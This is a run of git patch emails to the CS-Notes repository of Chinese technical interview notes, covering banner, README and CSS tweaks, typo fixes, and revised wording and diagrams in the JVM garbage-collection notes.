@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、数据类型](#二数据类型)
diff --git a/docs/notes/SQL.md b/docs/notes/SQL.md
index 91fe826a..01d4d316 100644
--- a/docs/notes/SQL.md
+++ b/docs/notes/SQL.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、基础](#一基础)
 * [二、创建表](#二创建表)
diff --git a/docs/notes/Socket.md b/docs/notes/Socket.md
index c8fd40ab..d9281a48 100644
--- a/docs/notes/Socket.md
+++ b/docs/notes/Socket.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、I/O 模型](#一io-模型)
     * [阻塞式 I/O](#阻塞式-io)
diff --git a/docs/notes/代码可读性.md b/docs/notes/代码可读性.md
index 549ac325..f311bd57 100644
--- a/docs/notes/代码可读性.md
+++ b/docs/notes/代码可读性.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、可读性的重要性](#一可读性的重要性)
 * [二、用名字表达代码含义](#二用名字表达代码含义)
diff --git a/docs/notes/代码风格规范.md b/docs/notes/代码风格规范.md
index 01d03c5f..53f89cb8 100644
--- a/docs/notes/代码风格规范.md
+++ b/docs/notes/代码风格规范.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 <!-- GFM-TOC -->
 
diff --git a/docs/notes/分布式.md b/docs/notes/分布式.md
index f40a7159..32b35fe5 100644
--- a/docs/notes/分布式.md
+++ b/docs/notes/分布式.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、分布式锁](#一分布式锁)
     * [数据库的唯一索引](#数据库的唯一索引)
diff --git a/docs/notes/剑指 offer 题解.md b/docs/notes/剑指 offer 题解.md
index d2645864..9d1f7e95 100644
--- a/docs/notes/剑指 offer 题解.md	
+++ b/docs/notes/剑指 offer 题解.md	
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [3. 数组中重复的数字](#3-数组中重复的数字)
 * [4. 二维数组中的查找](#4-二维数组中的查找)
diff --git a/docs/notes/攻击技术.md b/docs/notes/攻击技术.md
index 841ad5f4..6492ccef 100644
--- a/docs/notes/攻击技术.md
+++ b/docs/notes/攻击技术.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、跨站脚本攻击](#一跨站脚本攻击)
 * [二、跨站请求伪造](#二跨站请求伪造)
diff --git a/docs/notes/数据库系统原理.md b/docs/notes/数据库系统原理.md
index c50e635a..bf9e4a6a 100644
--- a/docs/notes/数据库系统原理.md
+++ b/docs/notes/数据库系统原理.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、事务](#一事务)
     * [概念](#概念)
diff --git a/docs/notes/构建工具.md b/docs/notes/构建工具.md
index 61affa75..bf2d284a 100644
--- a/docs/notes/构建工具.md
+++ b/docs/notes/构建工具.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、构建工具的作用](#一构建工具的作用)
 * [二、Java 主流构建工具](#二java-主流构建工具)
diff --git a/docs/notes/正则表达式.md b/docs/notes/正则表达式.md
index a5d8d4db..fa09d9d3 100644
--- a/docs/notes/正则表达式.md
+++ b/docs/notes/正则表达式.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、匹配单个字符](#二匹配单个字符)
diff --git a/docs/notes/消息队列.md b/docs/notes/消息队列.md
index 817ef2c6..d8b9ca3a 100644
--- a/docs/notes/消息队列.md
+++ b/docs/notes/消息队列.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、消息模型](#一消息模型)
     * [点对点](#点对点)
diff --git a/docs/notes/算法.md b/docs/notes/算法.md
index 05b35d23..6dffb776 100644
--- a/docs/notes/算法.md
+++ b/docs/notes/算法.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、前言](#一前言)
 * [二、算法分析](#二算法分析)
diff --git a/docs/notes/系统设计基础.md b/docs/notes/系统设计基础.md
index a6a7b152..452dc0f5 100644
--- a/docs/notes/系统设计基础.md
+++ b/docs/notes/系统设计基础.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、性能](#一性能)
 * [二、伸缩性](#二伸缩性)
diff --git a/docs/notes/缓存.md b/docs/notes/缓存.md
index b292f1b7..60ed8458 100644
--- a/docs/notes/缓存.md
+++ b/docs/notes/缓存.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、缓存特征](#一缓存特征)
 * [二、LRU](#二lru)
diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index 4b23ee3d..00856b65 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [基本特征](#基本特征)
diff --git a/docs/notes/计算机网络.md b/docs/notes/计算机网络.md
index 2402d19b..f74f90a7 100644
--- a/docs/notes/计算机网络.md
+++ b/docs/notes/计算机网络.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
     * [网络的网络](#网络的网络)
diff --git a/docs/notes/设计模式.md b/docs/notes/设计模式.md
index 978f0e12..7ab01f70 100644
--- a/docs/notes/设计模式.md
+++ b/docs/notes/设计模式.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、概述](#一概述)
 * [二、创建型](#二创建型)
diff --git a/docs/notes/集群.md b/docs/notes/集群.md
index 19eaa47b..1230ad1b 100644
--- a/docs/notes/集群.md
+++ b/docs/notes/集群.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、负载均衡](#一负载均衡)
     * [负载均衡算法](#负载均衡算法)
diff --git a/docs/notes/面向对象思想.md b/docs/notes/面向对象思想.md
index 19741b0b..57494247 100644
--- a/docs/notes/面向对象思想.md
+++ b/docs/notes/面向对象思想.md
@@ -1,4 +1,4 @@
-[⭐️ 面试进阶专栏 ⭐️](https://xiaozhuanlan.com/CyC2018)
+[💦 面试进阶专栏 ](https://xiaozhuanlan.com/CyC2018)
 <!-- GFM-TOC -->
 * [一、三大特性](#一三大特性)
     * [封装](#封装)

From 5b5bc61594e861dabb4671195342d197673ad72b Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 27 Jan 2019 09:47:47 +0800
Subject: [PATCH 061/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 600ba44d..d5429a1a 100644
--- a/README.md
+++ b/README.md
@@ -87,7 +87,7 @@
 
 ### 排版
 
-笔记内容按照 中文文案排版指北 进行排版，以保证内容的可读性。笔记不使用 ![]() 这种方式来引用图片，而是用 <img> 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。
+笔记内容按照 中文文案排版指北 进行排版，以保证内容的可读性。笔记不使用 `![]()` 这种方式来引用图片，而是用 `<img>` 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。
 
 我将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费使用：[Text-Typesetting](https://github.com/CyC2018/Text-Typesetting)。
 

From 2812dc81e83fd42a453a4eb38bc4ec7065a46f04 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 27 Jan 2019 19:50:20 +0800
Subject: [PATCH 062/100] Update _coverpage.md

---
 docs/_coverpage.md | 6 +-----
 1 file changed, 1 insertion(+), 5 deletions(-)

diff --git a/docs/_coverpage.md b/docs/_coverpage.md
index 933e845d..e4a57c42 100644
--- a/docs/_coverpage.md
+++ b/docs/_coverpage.md
@@ -2,11 +2,7 @@
 
 # CS-Notes
 
-> Computer Science Learning Notes.
-
-- Algorithm
-- Computer Networks
-- ...
+- 本仓库包含了技术面试必备的基础知识，这些内容是我从众多计算机经典书籍总结而来，内容浅显易懂，你不需要花很长的时间去阅读和理解成堆的技术书籍就可以快速掌握这些内容，从而节省宝贵的面试复习时间。如果你觉得本仓库对你有帮助，可以考虑订阅我的 <a href="https://xiaozhuanlan.com/CyC2018">专栏</a>，包含了学习指导和面试技巧，让你更轻松拿到满意的 Offer。
 
 <span id="busuanzi_container_site_pv">Site View : <span id="busuanzi_value_site_pv">
 

From 3a03799a8dd6762001da1f53634477b73cb8f8da Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 27 Jan 2019 19:50:41 +0800
Subject: [PATCH 063/100] auto commit

---
 docs/_style/style.css | 6 +++++-
 1 file changed, 5 insertions(+), 1 deletion(-)

diff --git a/docs/_style/style.css b/docs/_style/style.css
index 92cb8907..ad96e5da 100644
--- a/docs/_style/style.css
+++ b/docs/_style/style.css
@@ -3,7 +3,7 @@
     display: none;
 }
 
-#main > ul:nth-child(2) {
+#main>ul:nth-child(2) {
     display: none;
 }
 
@@ -41,3 +41,7 @@ body {
 /*.anchor span {
     color: rgb(66, 185, 131);
 }*/
+
+section.cover h1 {
+    margin ： 0;
+}
\ No newline at end of file

From 87a04b58642e03768d1aff2622ae9177ff701766 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 27 Jan 2019 19:53:56 +0800
Subject: [PATCH 064/100] auto commit

---
 docs/_style/style.css | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/docs/_style/style.css b/docs/_style/style.css
index ad96e5da..c8578007 100644
--- a/docs/_style/style.css
+++ b/docs/_style/style.css
@@ -44,4 +44,8 @@ body {
 
 section.cover h1 {
     margin ： 0;
+}
+
+body>section>div.cover-main>ul>li>a {
+    color: #42b983;
 }
\ No newline at end of file

From 95be65cf8016902c69391794b06b5661316e1718 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Sun, 27 Jan 2019 19:57:03 +0800
Subject: [PATCH 065/100] auto commit

---
 docs/_style/style.css | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/_style/style.css b/docs/_style/style.css
index c8578007..06068dcd 100644
--- a/docs/_style/style.css
+++ b/docs/_style/style.css
@@ -43,7 +43,7 @@ body {
 }*/
 
 section.cover h1 {
-    margin ： 0;
+    margin: 0;
 }
 
 body>section>div.cover-main>ul>li>a {

From 79f3d3a4bde51c402b496f400e0cffdbdb5fea25 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 28 Jan 2019 21:36:36 +0800
Subject: [PATCH 066/100] Update README.md

---
 README.md | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/README.md b/README.md
index d5429a1a..7cae72d3 100644
--- a/README.md
+++ b/README.md
@@ -71,7 +71,7 @@
 
 ### QQ 群
 
-为大家提供一个学习交流平台，在这里你可以自由地和我以及其他人进行技术上的交流。
+为大家提供一个学习交流平台，在这里你可以自由地和。
 
 <img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="200px"></br>
 
@@ -87,7 +87,7 @@
 
 ### 排版
 
-笔记内容按照 中文文案排版指北 进行排版，以保证内容的可读性。笔记不使用 `![]()` 这种方式来引用图片，而是用 `<img>` 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。
+笔记内容按照 [文文案排版指北](https://github.com/sparanoid/chinese-copywriting-guidelines) 进行排版，以保证内容的可读性。笔记不使用 `![]()` 这种方式来引用图片，而是用 `<img>` 标签。一方面是为了能够控制图片以合适的大小显示，另一方面是因为 GFM 不支持 `<center> ![]() </center>` 让图片居中显示，只能使用 `<div align="center"> <img src=""/> </div>` 达到居中的效果。
 
 我将自己实现的文档排版功能提取出来，放在 Github Page 中，无需下载安装即可免费使用：[Text-Typesetting](https://github.com/CyC2018/Text-Typesetting)。
 

From 93b6f572e4dd5dded011bbc8cfaaa298516b5679 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Mon, 28 Jan 2019 21:37:32 +0800
Subject: [PATCH 067/100] Update README.md

---
 README.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/README.md b/README.md
index 7cae72d3..44d489db 100644
--- a/README.md
+++ b/README.md
@@ -71,7 +71,7 @@
 
 ### QQ 群
 
-为大家提供一个学习交流平台，在这里你可以自由地和。
+为大家提供一个学习交流平台，在这里你可以自由地讨论技术问题。
 
 <img src="https://github.com/CyC2018/CS-Notes/raw/master/other/group1.png" width="200px"></br>
 

From 6e9dd1351e3e5548af8288c983fded53a98ba8ef Mon Sep 17 00:00:00 2001
From: KayKong <kongk1996@qq.com>
Date: Tue, 29 Jan 2019 11:46:00 +0800
Subject: [PATCH 068/100] =?UTF-8?q?Update=20=E8=AE=A1=E7=AE=97=E6=9C=BA?=
 =?UTF-8?q?=E6=93=8D=E4=BD=9C=E7=B3=BB=E7=BB=9F.md?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

或则 改为 或者
---
 docs/notes/计算机操作系统.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/notes/计算机操作系统.md b/docs/notes/计算机操作系统.md
index 00856b65..35aefa5f 100644
--- a/docs/notes/计算机操作系统.md
+++ b/docs/notes/计算机操作系统.md
@@ -47,7 +47,7 @@
 
 并发是指宏观上在一段时间内能同时运行多个程序，而并行则指同一时刻能运行多个指令。
 
-并行需要硬件支持，如多流水线、多核处理器或则分布式计算系统。
+并行需要硬件支持，如多流水线、多核处理器或者分布式计算系统。
 
 操作系统通过引入进程和线程，使得程序能够并发运行。
 

From 39525bae8b228c83bafa90356c013297090cb5d3 Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 12:20:49 +0800
Subject: [PATCH 069/100] auto commit

---
 docs/notes/Java 虚拟机.md | 28 ++++++++++++++--------------
 1 file changed, 14 insertions(+), 14 deletions(-)

diff --git a/docs/notes/Java 虚拟机.md b/docs/notes/Java 虚拟机.md
index 01d48581..abc35f2d 100644
--- a/docs/notes/Java 虚拟机.md	
+++ b/docs/notes/Java 虚拟机.md	
@@ -73,7 +73,7 @@ java -Xss512M HackTheJava
 
 堆不需要连续内存，并且可以动态增加其内存，增加失败会抛出 OutOfMemoryError 异常。
 
-可以通过 -Xms 和 -Xmx 两个虚拟机参数来指定一个程序的堆内存大小，第一个参数设置初始值，第二个参数设置最大值。
+可以通过 -Xms 和 -Xmx 这两个虚拟机参数来指定一个程序的堆内存大小，第一个参数设置初始值，第二个参数设置最大值。
 
 ```java
 java -Xms1M -Xmx2M HackTheJava
@@ -99,7 +99,7 @@ Class 文件中的常量池（编译器生成的字面量和符号引用）会
 
 ## 直接内存
 
-在 JDK 1.4 中新加入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为避免了在堆内存和堆外内存来回拷贝数据。
+在 JDK 1.4 中新引入了 NIO 类，它可以使用 Native 函数库直接分配堆外内存，然后通过 Java 堆里的 DirectByteBuffer 对象作为这块内存的引用进行操作。这样能在一些场景中显著提高性能，因为避免了在堆内存和堆外内存来回拷贝数据。
 
 # 二、垃圾收集
 
@@ -113,25 +113,25 @@ Class 文件中的常量池（编译器生成的字面量和符号引用）会
 
 为对象添加一个引用计数器，当对象增加一个引用时计数器加 1，引用失效时计数器减 1。引用计数为 0 的对象可被回收。
 
-两个对象出现循环引用的情况下，此时引用计数器永远不为 0，导致无法对它们进行回收。正因为循环引用的存在，因此 Java 虚拟机不使用引用计数算法。
+在两个对象出现循环引用的情况下，此时引用计数器永远不为 0，导致无法对它们进行回收。正因为循环引用的存在，因此 Java 虚拟机不使用引用计数算法。
 
 ```java
-public class ReferenceCountingGC {
+public class Test {
 
     public Object instance = null;
 
     public static void main(String[] args) {
-        ReferenceCountingGC objectA = new ReferenceCountingGC();
-        ReferenceCountingGC objectB = new ReferenceCountingGC();
-        objectA.instance = objectB;
-        objectB.instance = objectA;
+        Test a = new Test();
+        Test b = new Test();
+        a.instance = b;
+        b.instance = a;
     }
 }
 ```
 
 ### 2. 可达性分析算法
 
-通过 GC Roots 作为起始点进行搜索，能够到达到的对象都是存活的，不可达的对象可被回收。
+将 GC Roots 作为起始点进行搜索，可达的对象都是存活的，不可达的对象可被回收。
 
 Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC Roots 一般包含以下内容：
 
@@ -144,7 +144,7 @@ Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC
 
 ### 3. 方法区的回收
 
-因为方法区主要存放永久代对象，而永久代对象的回收率比新生代低很多，因此在方法区上进行回收性价比不高。
+因为方法区主要存放永久代对象，而永久代对象的回收率比新生代低很多，所以在方法区上进行回收性价比不高。
 
 主要是对常量池的回收和对类的卸载。
 
@@ -158,9 +158,9 @@ Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC
 
 ### 4. finalize()
 
-finalize() 类似 C++ 的析构函数，用于关闭外部资源。但是 try-finally 等方式可以做的更好，并且该方法运行代价很高，不确定性大，无法保证各个对象的调用顺序，因此最好不要使用。
+类似 C++ 的析构函数，用于关闭外部资源。try-finally 等方式可以做的更好，并且该方法运行代价很高，不确定性大，无法保证各个对象的调用顺序，因此最好不要使用。
 
-当一个对象可被回收时，如果需要执行该对象的 finalize() 方法，那么就有可能在该方法中让对象重新被引用，从而实现自救。自救只能进行一次，如果回收的对象之前调用了 finalize() 方法自救，后面回收时不会调用 finalize() 方法。
+当一个对象可被回收时，如果需要执行该对象的 finalize() 方法，那么就有可能在该方法中让对象重新被引用，从而实现自救。自救只能进行一次，如果回收的对象之前调用了 finalize() 方法自救，后面回收时不会再调用该方法。
 
 ## 引用类型
 
@@ -194,7 +194,7 @@ obj = null;  // 使对象只被软引用关联
 
 被弱引用关联的对象一定会被回收，也就是说它只能存活到下一次垃圾回收发生之前。
 
-使用 WeakReference 类来实现弱引用。
+使用 WeakReference 类来创建弱引用。
 
 ```java
 Object obj = new Object();
@@ -208,7 +208,7 @@ obj = null;
 
 为一个对象设置虚引用的唯一目的是能在这个对象被回收时收到一个系统通知。
 
-使用 PhantomReference 来实现虚引用。
+使用 PhantomReference 来创建虚引用。
 
 ```java
 Object obj = new Object();

From af181cf1c60247758b7ac95d4ad498ec5c410505 Mon Sep 17 00:00:00 2001
From: rex <rex19951001@gmail.com>
Date: Tue, 29 Jan 2019 14:29:17 +0800
Subject: [PATCH 070/100] =?UTF-8?q?=E4=BF=AE=E6=AD=A3leetcode=E9=A2=98?=
 =?UTF-8?q?=E8=A7=A3=E7=AC=94=E8=AF=AF?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

只差->之差
---
 docs/notes/Leetcode 题解.md | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/docs/notes/Leetcode 题解.md b/docs/notes/Leetcode 题解.md
index 352dcbf3..5acc6093 100644
--- a/docs/notes/Leetcode 题解.md	
+++ b/docs/notes/Leetcode 题解.md	
@@ -5694,7 +5694,7 @@ Output: 5
 Explanation: The longest harmonious subsequence is [3,2,2,2,3].
 ```
 
-和谐序列中最大数和最小数只差正好为 1，应该注意的是序列的元素不一定是数组的连续元素。
+和谐序列中最大数和最小数之差正好为 1，应该注意的是序列的元素不一定是数组的连续元素。
 
 ```java
 public int findLHS(int[] nums) {

From 2cb88474157e666284149cfb4a58ccf57044b76e Mon Sep 17 00:00:00 2001
From: CyC2018 <1029579233@qq.com>
Date: Tue, 29 Jan 2019 14:44:25 +0800
Subject: [PATCH 071/100] auto commit

---
 docs/notes/Java 虚拟机.md          |  37 ++++++++++++++---------------
 docs/notes/Leetcode 题解.md        |   2 +-
 docs/notes/pics/11548741556940.gif | Bin 0 -> 25600 bytes
 docs/notes/pics/11548742010310.gif | Bin 0 -> 8192 bytes
 docs/notes/pics/11548742157520.gif | Bin 0 -> 49152 bytes
 docs/notes/pics/11548742505541.gif | Bin 0 -> 8192 bytes
 docs/notes/pics/11548743021625.gif | Bin 0 -> 9216 bytes
 docs/notes/pics/11548743193273.gif | Bin 0 -> 9216 bytes
 docs/notes/pics/11548743457272.gif | Bin 0 -> 10240 bytes
 docs/notes/pics/11548744140733.gif | Bin 0 -> 10240 bytes
 docs/notes/计算机操作系统.md       |   2 +-
 docs/pics/11548741556940.gif       | Bin 0 -> 25600 bytes
 docs/pics/11548742010310.gif       | Bin 0 -> 8192 bytes
 docs/pics/11548742157520.gif       | Bin 0 -> 49152 bytes
 docs/pics/11548742505541.gif       | Bin 0 -> 8192 bytes
 docs/pics/11548743021625.gif       | Bin 0 -> 9216 bytes
 docs/pics/11548743193273.gif       | Bin 0 -> 9216 bytes
 docs/pics/11548743457272.gif       | Bin 0 -> 10240 bytes
 docs/pics/11548744140733.gif       | Bin 0 -> 10240 bytes
 19 files changed, 20 insertions(+), 21 deletions(-)
 create mode 100644 docs/notes/pics/11548741556940.gif
 create mode 100644 docs/notes/pics/11548742010310.gif
 create mode 100644 docs/notes/pics/11548742157520.gif
 create mode 100644 docs/notes/pics/11548742505541.gif
 create mode 100644 docs/notes/pics/11548743021625.gif
 create mode 100644 docs/notes/pics/11548743193273.gif
 create mode 100644 docs/notes/pics/11548743457272.gif
 create mode 100644 docs/notes/pics/11548744140733.gif
 create mode 100644 docs/pics/11548741556940.gif
 create mode 100644 docs/pics/11548742010310.gif
 create mode 100644 docs/pics/11548742157520.gif
 create mode 100644 docs/pics/11548742505541.gif
 create mode 100644 docs/pics/11548743021625.gif
 create mode 100644 docs/pics/11548743193273.gif
 create mode 100644 docs/pics/11548743457272.gif
 create mode 100644 docs/pics/11548744140733.gif

diff --git a/docs/notes/Java 虚拟机.md b/docs/notes/Java 虚拟机.md
index abc35f2d..bfaab9c6 100644
--- a/docs/notes/Java 虚拟机.md	
+++ b/docs/notes/Java 虚拟机.md	
@@ -31,7 +31,7 @@
 
 # 一、运行时数据区域
 
-<div align="center"> <img src="pics/ab701824-e308-4284-88b6-596cc606fadb.png" width="450"/> </div><br>
+<div align="center"> <img src="pics/11548742157520.gif" width="450"/> </div><br>
 
 ## 程序计数器
 
@@ -41,7 +41,7 @@
 
 每个 Java 方法在执行的同时会创建一个栈帧用于存储局部变量表、操作数栈、常量池引用等信息。从方法调用直至执行完成的过程，就对应着一个栈帧在 Java 虚拟机栈中入栈和出栈的过程。
 
-<div align="center"> <img src="pics/28ab96b4-82ea-4d99-99fb-b320f60d0a58.png" width="500"/> </div><br>
+<div align="center"> <img src="pics/11548741556940.gif" width="500"/> </div><br>
 
 可以通过 -Xss 这个虚拟机参数来指定每个线程的 Java 虚拟机栈内存大小：
 
@@ -60,7 +60,8 @@ java -Xss512M HackTheJava
 
 本地方法一般是用其它语言（C、C++ 或汇编语言等）编写的，并且被编译为基于本机硬件和操作系统的程序，对待这些方法需要特别处理。
 
-<div align="center"> <img src="pics/JNI-Java-Native-Interface.jpg" width="350"/> </div><br>
+
+<div align="center"> <img src="pics/11548742010310.gif"/> </div><br>
 
 ## 堆
 
@@ -140,7 +141,7 @@ Java 虚拟机使用该算法来判断对象是否可被回收，在 Java 中 GC
 - 方法区中类静态属性引用的对象
 - 方法区中的常量引用的对象
 
-<div align="center"> <img src="pics/0635cbe8.png" width=""/> </div><br>
+<div align="center"> <img src="pics/11548742505541.gif"/> </div><br>
 
 ### 3. 方法区的回收
 
@@ -220,7 +221,7 @@ obj = null;
 
 ### 1. 标记 - 清除
 
-<div align="center"> <img src="pics/a4248c4b-6c1d-4fb8-a557-86da92d3a294.jpg" width=""/> </div><br>
+<div align="center"> <img src="pics/11548743021625.gif"/> </div><br>
 
 标记要回收的对象，然后清除。
 
@@ -231,21 +232,21 @@ obj = null;
 
 ### 2. 标记 - 整理
 
-<div align="center"> <img src="pics/902b83ab-8054-4bd2-898f-9a4a0fe52830.jpg" width=""/> </div><br>
+<div align="center"> <img src="pics/11548743193273.gif"/> </div><br>
 
 让所有存活的对象都向一端移动，然后直接清理掉端边界以外的内存。
 
 ### 3. 复制
 
-<div align="center"> <img src="pics/e6b733ad-606d-4028-b3e8-83c3a73a3797.jpg" width=""/> </div><br>
+<div align="center"> <img src="pics/11548743457272.gif"/> </div><br>
 
 将内存划分为大小相等的两块，每次只使用其中一块，当这一块内存用完了就将还存活的对象复制到另一块上面，然后再把使用过的内存空间进行一次清理。
 
 主要不足是只使用了内存的一半。
 
-现在的商业虚拟机都采用这种收集算法回收新生代，但是并不是划分为大小相等的两块，而是一块较大的 Eden 空间和两块较小的 Survivor 空间，每次使用 Eden 空间和其中一块 Survivor。在回收时，将 Eden 和 Survivor 中还存活着的对象全部复制到另一块 Survivor 空间上，最后清理 Eden 和使用过的那一块 Survivor。
+现在的商业虚拟机都采用这种收集算法回收新生代，但是并不是划分为大小相等的两块，而是一块较大的 Eden 空间和两块较小的 Survivor 空间，每次使用 Eden 和其中一块 Survivor。在回收时，将 Eden 和 Survivor 中还存活着的对象全部复制到另一块 Survivor 上，最后清理 Eden 和使用过的那一块 Survivor。
 
-HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1，保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活，那么一块 Survivor 空间就不够用了，此时需要依赖于老年代进行空间分配担保，也就是借用老年代的空间存储放不下的对象。
+HotSpot 虚拟机的 Eden 和 Survivor 大小比例默认为 8:1，保证了内存的利用率达到 90%。如果每次回收有多于 10% 的对象存活，那么一块 Survivor 就不够用了，此时需要依赖于老年代进行空间分配担保，也就是借用老年代的空间存储放不下的对象。
 
 ### 4. 分代收集
 
@@ -262,7 +263,7 @@ HotSpot 虚拟机的 Eden 和 Survivor 的大小比例默认为 8:1，保证了
 
 以上是 HotSpot 虚拟机中的 7 个垃圾收集器，连线表示垃圾收集器可以配合使用。
 
-- 单线程与多线程：单线程指的是垃圾收集器只使用一个线程进行收集，而多线程使用多个线程；
+- 单线程与多线程：单线程指的是垃圾收集器只使用一个线程，而多线程使用多个线程；
 - 串行与并行：串行指的是垃圾收集器与用户程序交替执行，这意味着在执行垃圾收集的时候需要停顿用户程序；并行指的是垃圾收集器和用户程序同时执行。除了 CMS 和 G1 之外，其它垃圾收集器都是以串行的方式执行。
 
 ### 1. Serial 收集器
